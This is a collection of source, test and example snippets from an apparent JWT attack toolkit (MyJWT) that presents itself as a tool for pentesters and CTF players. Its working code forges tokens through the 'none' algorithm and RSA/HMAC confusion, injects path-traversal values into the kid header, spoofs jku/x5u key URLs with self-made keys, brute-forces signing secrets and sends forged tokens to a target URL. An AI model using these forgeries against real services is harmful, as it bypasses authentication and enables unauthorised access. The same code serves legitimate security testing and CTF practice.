def test_payload(): """ Test Payload option in myjwt_cli.py """ result = CliRunner().invoke(myjwt_cli, [test_jwt, "--full-payload"]) assert result.exit_code, 2 result = CliRunner().invoke( myjwt_cli, [test_jwt, "--full-payload", "test"], ) assert VALID_PAYLOAD_JSON in result.output result = CliRunner().invoke( myjwt_cli, [ test_jwt, "--full-payload", '{"username": "******", "password": "******"}', ], ) jwtVerify = change_payload( jwt_to_json(test_jwt), json.loads('{"username": "******", "password": "******"}'), ) jwt = re.search("new JWT: " + "(.*)", result.output).groups()[0] assert jwt_to_json(jwt) == jwtVerify assert result.exit_code == 0
def test_none_vulnerability(): """ Test none-vulnerability option in myjwt_cli.py """ result = CliRunner().invoke( myjwt_cli, [test_jwt, "--none-vulnerability"], ) jwt = re.search("new JWT: " + "(.*)", result.output).groups()[0] assert "none" == jwt_to_json(jwt)[HEADER]["alg"] assert "" == jwt_to_json(jwt)[SIGNATURE] assert result.exit_code == 0
def test_none_vulnerability(): """ Test none_vulnerability method in vulnerabilities.py """ with pytest.raises(InvalidJWT): none_vulnerability("") new_jwt = none_vulnerability(jwt) jwt_json = jwt_to_json(jwt) new_jwt_json = jwt_to_json(new_jwt) assert jwt_json[PAYLOAD] == new_jwt_json[PAYLOAD] assert new_jwt_json[HEADER]["alg"] == "none" assert new_jwt_json[SIGNATURE] == ""
def test_confusion_rsa_hmac(): """ Test confusion_rsa_hmac method in vulnerabilities.py """ with pytest.raises(InvalidJWT): confusion_rsa_hmac("", public_path) new_jwt = confusion_rsa_hmac(jwt, public_path) jwt_json = jwt_to_json(jwt) new_jwt_json = jwt_to_json(new_jwt) assert jwt_json[PAYLOAD] == new_jwt_json[PAYLOAD] assert new_jwt_json[HEADER]["alg"] == "HS256" assert new_jwt_json[SIGNATURE] == signature
def inject_sql_kid(jwt: str, injection: str) -> str: """ Inject sql to your jwt. Parameters ---------- jwt: str your jwt. injection: str your kid injection. Returns ------- str your new jwt. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) jwt_json[HEADER]["kid"] = injection return signature(jwt_json, "")
def print_decoded(jwt: str): """ Print your jwt. Parameters ---------- jwt: str your jwt. Returns ------- None Print your jwt. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) click.echo("Header: ") for key in jwt_json[HEADER].keys(): click.echo( str(key) + " = " + (str(jwt_json[HEADER][key]) if jwt_json[HEADER][key] is not None else "null"), ) click.echo("") click.echo("Payload: ") for key in jwt_json[PAYLOAD].keys(): click.echo( str(key) + " = " + (str(jwt_json[PAYLOAD][key]) if jwt_json[PAYLOAD][key] is not None else "null"), ) click.echo("") click.echo("Signature: \n" + json.dumps(jwt_json[SIGNATURE]))
def bruteforce_wordlist(jwt: str, filename: str) -> str: """ Crack your jwt with wordlist. Parameters ---------- jwt: str your jwt string. filename: str path file of your wordlist txt file. Returns ------- str your new jwt or "" if the valid key is not found. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) with open(filename, encoding="latin-1") as file: all_password = [line.rstrip() for line in file] file.close() for password in all_password: new_jwt = signature(jwt_json, password) new_signature = new_jwt.split(".")[2] if new_signature == jwt.split(".")[2]: return password return ""
def confusion_rsa_hmac(jwt: str, filename: str) -> str: """ Check rsa/hmac confusion. Parameters ---------- jwt: str your jwt string. filename: str path file of your public key. Returns ------- str your new jwt. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = change_alg(jwt_to_json(jwt), "HS256") return signature(jwt_json, open(filename).read())
def test_inject_sql_kid(): """ Test inject_sql_kid method in vulnerabilities.py """ with pytest.raises(InvalidJWT): inject_sql_kid("", kid_injection) jwt = inject_sql_kid(jwt_kid, kid_injection) assert jwt_to_json(jwt)[HEADER]["kid"] == kid_injection
def test_jwt_to_json(): """ Test jwt_to_json method in utils.py """ jwt_json = jwt_to_json(jwt) assert type(jwt_json) == dict assert list(jwt_json.keys()) == [HEADER, PAYLOAD, SIGNATURE] assert jwt_json[HEADER] == header assert jwt_json[PAYLOAD] == payload assert jwt_json[SIGNATURE] == ""
def test_add_header(): """ Test add-header option in myjwt_cli.py """ result = CliRunner().invoke(myjwt_cli, [test_jwt, "--add-header"]) assert result.exit_code == 2 result = CliRunner().invoke( myjwt_cli, [test_jwt, "--add-header", "admin"], ) assert result.exit_code == 1 result = CliRunner().invoke( myjwt_cli, [test_jwt, "--add-header", "username=admin"], ) jwt = re.search("new JWT: " + "(.*)", result.output).groups()[0] jwt_json = jwt_to_json(jwt) assert jwt_json[HEADER]["username"] == "admin" assert result.exit_code == 0
def test_signature(): """ Test signature method in modify_jwt.py """ with pytest.raises(InvalidJwtJson): signature({}, "") jwt_json = { HEADER: {"typ": "JWT", "alg": "none"}, PAYLOAD: {"login": "******"}, SIGNATURE: "", } new_jwt = signature(jwt_json, "") assert new_jwt == jwt jwt_json_test = jwt_to_json(jwt_rsa) jwt_json_test = change_alg(jwt_json_test, "HS256") new_jwt = signature(jwt_json_test, open(path).read()) assert new_jwt == jwt_hs256 new_jwt_json = jwt_json new_jwt_json[HEADER]["alg"] = "unknowAlg" with pytest.raises(UnknownAlg): signature(new_jwt_json, "")
def none_vulnerability(jwt: str) -> str: """ Check none Vulnerability. Parameters ---------- jwt: str your jwt string. Returns ------- str your new jwt. Raises ------- InvalidJWT if your jwt is not valid. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = change_alg(jwt_to_json(jwt), "none") return encode_jwt(jwt_json) + "."
from myjwt.modify_jwt import add_header from myjwt.modify_jwt import add_payload from myjwt.modify_jwt import change_payload from myjwt.utils import encode_jwt from myjwt.utils import jwt_to_json from myjwt.utils import SIGNATURE jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" # header {"typ": "JWT", "alg": "HS256"} # payload {"user": null} jwt_json = jwt_to_json(jwt) # "header" = {"typ": "JWT", "alg": "HS256"} # "payload" = {"user": null} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt_json = add_payload(jwt_json, {"username": "******", "password": "******"}) # "header" = {"typ": "JWT", "alg": "HS256"} # "payload" = {"username": "******", "password": "******"} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt_json = add_header(jwt_json, {"kid": "001"}) # "header" = {"typ": "JWT", "alg": "HS256", "kid": "001"} # "payload" = {"username": "******", "password": "******"} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt_json = change_payload(jwt_json, {"username": "******"}) # "header" = {"typ": "JWT", "alg": "HS256", "kid": "001"} # "payload" = {"username": "******"} # "signature" = "Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM" jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] print(jwt)
def test_jwt_to_json_InvalidJWT(): """ Test jwt_to_json method when jwt is invalid in utils.py """ with pytest.raises(InvalidJWT): jwt_to_json(invalid_jwt)
def test_x5u_vulnerability(requests_mock): """ Test x5u_vulnerability method in vulnerabilities.py """ with pytest.raises(InvalidJWT): x5u_vulnerability("", url="http://test.com") with pytest.raises(InvalidJWT): x5u_vulnerability(jwt_bruteforce, url="http://test.com") status_code = 200 requests_mock.get( "http://test.com", json={ "keys": [ { "kty": "RSA", "use": "sig", "kid": "xxxxxxxxx", "n": "oTtAXRgdJ6Pu0jr3hK3opCF5uqKWKbm4KkqIiDJSEsQ4PnAz14P_aJnfnsQwgchFGN95cfCO7euC8HjT" "-u5WHHDn08GQ7ot6Gq6j-fbwMdRWjLC74XqQ0JNDHRJoM4bbj4i8FaBdYKvKmnJ8eSeEjA0YrG8KuTOPbLsgl" "ADUubNw9kggRIvj6au88dnBJ9HeZ27QVVFaIllZpMITtocuPkOKd8bHzkZzKN4HJtM0hgzOjeyCfqZxh1V8LybliWD" "XYivUqmvrzchzwXTAQPJBBfYo9BO6D4Neui8rGbc49OBCnHLCWtPH7m7xp3cz-PbVnLhRczzsQE_3escvTF0FGw", "e": "AQAB", "alg": "RS256", }, ], }, status_code=status_code, ) jwt = x5u_vulnerability( jwt_x5u, url="http://test.com", ) jwt_json = jwt_to_json(jwt) assert "x5u" in jwt_json[HEADER] assert os.path.exists("jwks_with_x5c.json") assert jwt_json[HEADER]["x5u"] == "http://test.com/jwks_with_x5c.json" create_crt() x5u_vulnerability( jwt_x5u, url="http://test.com", crt="selfsigned.crt", pem="private.pem", ) assert os.path.exists("private.pem") assert os.path.exists("selfsigned.crt") jwt = x5u_vulnerability( jwt_x5u, url="http://test.com", file="test_x5u_vulnerability", ) jwt_json = jwt_to_json(jwt) assert "x5u" in jwt_json[HEADER] assert os.path.exists("test_x5u_vulnerability.json") assert (jwt_json[HEADER]["x5u"] == "http://test.com/test_x5u_vulnerability.json")
def test_jku_vulnerability(requests_mock): """ Test jku_vulnerability method in vulnerabilities.py """ with pytest.raises(InvalidJWT): jku_vulnerability("", "http://test.com") with pytest.raises(InvalidJWT): jku_vulnerability(jwt_bruteforce, "http://test.com") status_code = 200 requests_mock.get( "http://localhost:8080", json={ "keys": [ { "kty": "RSA", "use": "sig", "kid": "xxxxxxxxx", "n": "oTtAXRgdJ6Pu0jr3hK3opCF5uqKWKbm4KkqIiDJSEsQ4PnAz14P_aJnfnsQwgchFGN95cfCO7euC8HjT" "-u5WHHDn08GQ7ot6Gq6j-fbwMdRWjLC74XqQ0JNDHRJoM4bbj4i8FaBdYKvKmnJ8eSeEjA0YrG8KuTOPbLsgl" "ADUubNw9kggRIvj6au88dnBJ9HeZ27QVVFaIllZpMITtocuPkOKd8bHzkZzKN4HJtM0hgzOjeyCfqZxh1V8LybliWD" "XYivUqmvrzchzwXTAQPJBBfYo9BO6D4Neui8rGbc49OBCnHLCWtPH7m7xp3cz-PbVnLhRczzsQE_3escvTF0FGw", "e": "AQAB", "alg": "RS256", }, ], }, status_code=status_code, ) jwt = jku_vulnerability(jwt_jku, "http://test.com") jwt_json = jwt_to_json(jwt) assert "jku" in jwt_json[HEADER] assert os.path.exists("jwk-python.json") assert jwt_json[HEADER]["jku"] == "http://test.com/jwk-python.json" jwt = jku_vulnerability(jwt_jku, "http://test.com", file="test") jwt_json = jwt_to_json(jwt) assert "jku" in jwt_json[HEADER] assert os.path.exists("test.json") assert jwt_json[HEADER]["jku"] == "http://test.com/test.json" privatekey = OpenSSL.crypto.PKey() privatekey.generate_key(OpenSSL.crypto.TYPE_RSA, 4096) with open("private.pem", "w") as f: f.write( OpenSSL.crypto.dump_privatekey( OpenSSL.crypto.FILETYPE_PEM, privatekey, ).decode(), ) jku_vulnerability( jwt_jku, "http://test.com", file="test", pem="private.pem", ) assert os.path.exists("private.pem")
def user_interface(jwt: str) -> None: """ User interface for myjwt. Print decoded jwt then list choices of vulnerabilities. Parameters ---------- jwt: Your jwt """ click.echo("") click.echo("Your jwt is: \n" + jwt) click.echo("") click.echo("Your jwt decoded is:") click.echo("") print_decoded(jwt) click.echo("") jwt_json = jwt_to_json(jwt) summary = "" while summary != MAIN_SUMMARY_CHOICES_QUIT and summary is not None: summary = questionary.select( MAIN_SUMMARY_QUESTION, choices=MAIN_SUMMARY_CHOICES, style=custom_style_fancy, ).ask() if summary == MAIN_SUMMARY_CHOICES_MODIFY: jwt_json = user_modify_jwt(jwt_json) elif summary == MAIN_SUMMARY_CHOICES_NONE_ALG: user_none_vulnerability(jwt_json) summary = MAIN_SUMMARY_CHOICES_QUIT elif summary == MAIN_SUMMARY_CHOICES_RSA_CONFUSION: hmac = click.prompt( MAIN_SUMMARY_PROMPT_PEM, type=click.Path(exists=True), ) user_confusion_rsa_hmac(jwt_json, hmac) summary = MAIN_SUMMARY_CHOICES_QUIT elif summary == MAIN_SUMMARY_CHOICES_BRUTE_FORCE: wordlist = click.prompt( MAIN_SUMMARY_PROMPT_WORDLIST, type=click.Path(exists=True), ) user_bruteforce_wordlist(jwt_json, wordlist) summary = MAIN_SUMMARY_CHOICES_QUIT elif summary == MAIN_SUMMARY_CHOICES_SIGN: key = click.prompt(MAIN_SUMMARY_PROMPT_KEY, type=str) user_sign_jwt(jwt_json, key) summary = "" elif summary == MAIN_SUMMARY_CHOICES_VERIFY: key = click.prompt(MAIN_SUMMARY_PROMPT_KEY, type=str) user_verify_key(jwt_json, key) summary = MAIN_SUMMARY_CHOICES_QUIT elif summary == MAIN_SUMMARY_CHOICES_KID: injection = click.prompt(MAIN_SUMMARY_PROMPT_INJECTION, type=str) new_jwt = user_kid_injection(jwt_json, injection) jwt_json = jwt_to_json(new_jwt) click.echo(NEW_JWT + new_jwt) copy_to_clipboard(new_jwt) summary = MAIN_SUMMARY_CHOICES_QUIT elif summary == MAIN_SUMMARY_CHOICES_JKU: url = click.prompt(MAIN_SUMMARY_PROMPT_JWKS, type=str) user_jku_by_pass(jwt_json, url) summary = MAIN_SUMMARY_CHOICES_QUIT elif summary == MAIN_SUMMARY_CHOICES_X5U: url = click.prompt(MAIN_SUMMARY_PROMPT_JWKS, type=str) user_x5u_by_pass(jwt_json, url) summary = MAIN_SUMMARY_CHOICES_QUIT
def myjwt_cli(jwt, **kwargs): """ \b This cli is for pentesters, CTF players, or dev. You can modify your jwt, sign, inject ,etc... Full documentation is at http://myjwt.readthedocs.io. If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy :) All new jwt will be copy to the clipboard. \f Parameters ---------- jwt: str your jwt kwargs: Dict all option value """ if not is_valid_jwt(jwt): sys.exit(NOT_VALID_JWT) # detect if some options are here # if no option detected print user_interface interface_mode = True for option in kwargs.values(): if not (option is None or option == () or not option or option == "GET"): interface_mode = False if interface_mode: user_interface(jwt) sys.exit() if kwargs["bruteforce"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) key = bruteforce_wordlist(jwt, kwargs["bruteforce"]) if key == "": sys.exit(NOT_CRAKED) else: copy_to_clipboard(key) click.echo(CRACKED + key) if (not kwargs["add_header"] and not kwargs["add_payload"] and not kwargs["full_payload"]): sys.exit() if kwargs["add_payload"]: payload_dict = dict() for payload in kwargs["add_payload"]: new_str = payload.split("=") if len(new_str) != 2: sys.exit(VALID_PAYLOAD) payload_dict[new_str[0]] = new_str[1] jwt_json = add_payload(jwt_to_json(jwt), payload_dict) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] if kwargs["add_header"]: header_dict = dict() for header in kwargs["add_header"]: new_str = header.split("=") if len(new_str) != 2: sys.exit(VALID_HEADER) header_dict[new_str[0]] = new_str[1] jwt_json = add_header(jwt_to_json(jwt), header_dict) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] if kwargs["full_payload"]: try: jwt_json = change_payload( jwt_to_json(jwt), json.loads(kwargs["full_payload"]), ) jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE] except JSONDecodeError: sys.exit(VALID_PAYLOAD_JSON) if kwargs["x5u"]: jwt = x5u_vulnerability( jwt, url=kwargs["x5u"], pem=kwargs["key"], crt=kwargs["crt"], file=kwargs["file"], ) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["jku"]: jwt = jku_vulnerability( jwt, kwargs["jku"], kwargs["file"], kwargs["key"], ) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) click.echo( f"Please run python -m http.server --bind {kwargs['jku']} .Before send your jwt", ) if kwargs["kid"]: jwt = inject_sql_kid(jwt, kwargs["kid"]) if not kwargs["sign"]: copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["hmac"]: jwt = confusion_rsa_hmac(jwt, kwargs["hmac"]) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["none_vulnerability"]: jwt_json = change_alg(jwt_to_json(jwt), "none") jwt = encode_jwt(jwt_json) + "." copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["sign"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) jwt = signature(jwt_json, kwargs["sign"]) copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) if kwargs["verify"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) new_jwt = signature(jwt_json, kwargs["verify"]) click.echo( VALID_SIGNATURE if new_jwt.split(".")[2] == jwt.split(".")[2] else INVALID_SIGNATURE, ) if kwargs["crack"]: jwt_json = jwt_to_json(jwt) if "HS" not in jwt_json[HEADER]["alg"]: sys.exit(CHECK_DOCS) all_string = list(exrex.generate(kwargs["crack"])) click.echo( kwargs["crack"] + " have " + str(len(all_string)) + " possibilities", ) with click.progressbar( all_string, label="Keys", length=len(all_string), ) as bar: for key in bar: new_jwt = signature(jwt_json, key) if new_jwt.split(".")[2] == jwt.split(".")[2]: copy_to_clipboard(key) sys.exit("Key found: " + key) sys.exit(INVALID_SIGNATURE) if kwargs["url"]: data_dict = dict() for d in kwargs["data"]: new_str = d.split("=") if len(new_str) != 2: sys.exit(VALID_DATA) if new_str[1] == "MY_JWT": data_dict[new_str[0]] = jwt else: data_dict[new_str[0]] = new_str[1] cookies_dict = dict() for cookie in kwargs["cookies"]: new_str = cookie.split("=") if len(new_str) != 2: sys.exit(VALID_COOKIES) if new_str[1] == "MY_JWT": cookies_dict[new_str[0]] = jwt else: cookies_dict[new_str[0]] = new_str[1] try: response = send_jwt_to_url( kwargs["url"], kwargs["method"], data_dict, cookies_dict, jwt, ) click.echo(response.text) except requests.exceptions.ConnectionError: sys.exit("Connection Error. Verify your url.") if kwargs["print"]: copy_to_clipboard(jwt) print_decoded(jwt) if (not kwargs["none_vulnerability"] and not kwargs["hmac"] and not kwargs["bruteforce"] and not kwargs["sign"] and not kwargs["verify"] and not kwargs["jku"] and not kwargs["x5u"] and not kwargs["print"]): copy_to_clipboard(jwt) click.echo(NEW_JWT + jwt) sys.exit()
from myjwt.modify_jwt import signature from myjwt.utils import jwt_to_json from myjwt.vulnerabilities import inject_sql_kid jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6ImtleTEifQ.eyJ1c2VyIjpudWxsfQ.2B9ZKzJ3FeJ9yoNLDGKgcxOuo05PwDRzFQ_34CrGteQ" # Header: {"typ": "JWT", "alg": "HS256", "kid": "key1"} # Payload: {"user": null} # Signature: "2B9ZKzJ3FeJ9yoNLDGKgcxOuo05PwDRzFQ_34CrGteQ" injection = "../../../../../../dev/null" # your injection sign = "" # empty signature jwt = inject_sql_kid(jwt, injection) # inject your payload in kid key jwt = signature(jwt_to_json(jwt), sign) # after your jwt header changed re-sign your jwt print(jwt)
def x5u_vulnerability(jwt=None, url=None, crt=None, pem=None, file=None): """ Check jku Vulnerability. Parameters ---------- jwt: str your jwt. url: str your url. crt: str crt path file pem: str pem file name file: str jwks file name Returns ------- str your new jwt. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") if file is None: file = "jwks_with_x5c.json" jwt_json = jwt_to_json(jwt) if "x5u" not in jwt_json[HEADER]: raise InvalidJWT("Invalid JWT format JKU missing") if crt is None or pem is None: crt, pem = create_crt() with open(crt) as f: content = f.read() f.close() x5u = requests.get(jwt_json[HEADER]["x5u"]).json() x5u["keys"][0]["x5c"] = (content.replace("-----END CERTIFICATE-----", "").replace( "-----BEGIN CERTIFICATE-----", "").replace("\n", "")) if ".json" not in file: file += ".json" if not url.endswith("/"): url += "/" jwt_json[HEADER]["x5u"] = f"{url}{file}" f = open(file, "w") f.write(json.dumps(x5u)) f.close() s = encode_jwt(jwt_json) key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read()) priv = key.to_cryptography_key() sign = priv.sign( bytes(s, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15(), ) return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")
def jku_vulnerability(jwt=None, url=None, file=None, pem=None): """ Check jku Vulnerability. Parameters ---------- jwt: str your jwt. url: str your url. file: str your output json file name pem: str pem file name Returns ------- str your new jwt. """ if not is_valid_jwt(jwt): raise InvalidJWT("Invalid JWT format") jwt_json = jwt_to_json(jwt) if "jku" not in jwt_json[HEADER]: raise InvalidJWT("Invalid JWT format JKU missing") if file is None: file = "jwk-python.json" jwks = requests.get(jwt_json[HEADER]["jku"]).json() jwt_json[HEADER]["alg"] = "RS256" if ".json" not in file: file += ".json" if not url.endswith("/"): url += "/" jwt_json[HEADER]["jku"] = f"{url}{file}" if pem is None: key = crypto.PKey() key.generate_key(type=crypto.TYPE_RSA, bits=2048) else: key = crypto.load_privatekey(crypto.FILETYPE_PEM, open(pem).read()) priv = key.to_cryptography_key() pub = priv.public_key() e = pub.public_numbers().e n = pub.public_numbers().n jwks["keys"][0]["e"] = (base64.urlsafe_b64encode( e.to_bytes(e.bit_length() // 8 + 1, byteorder="big"), ).decode("UTF-8").rstrip("=")) jwks["keys"][0]["n"] = (base64.urlsafe_b64encode( n.to_bytes(n.bit_length() // 8 + 1, byteorder="big"), ).decode("UTF-8").rstrip("=")) f = open(file, "w") f.write(json.dumps(jwks)) f.close() s = encode_jwt(jwt_json) sign = priv.sign( bytes(s, encoding="UTF-8"), algorithm=hashes.SHA256(), padding=padding.PKCS1v15(), ) return s + "." + base64.urlsafe_b64encode(sign).decode("UTF-8").rstrip("=")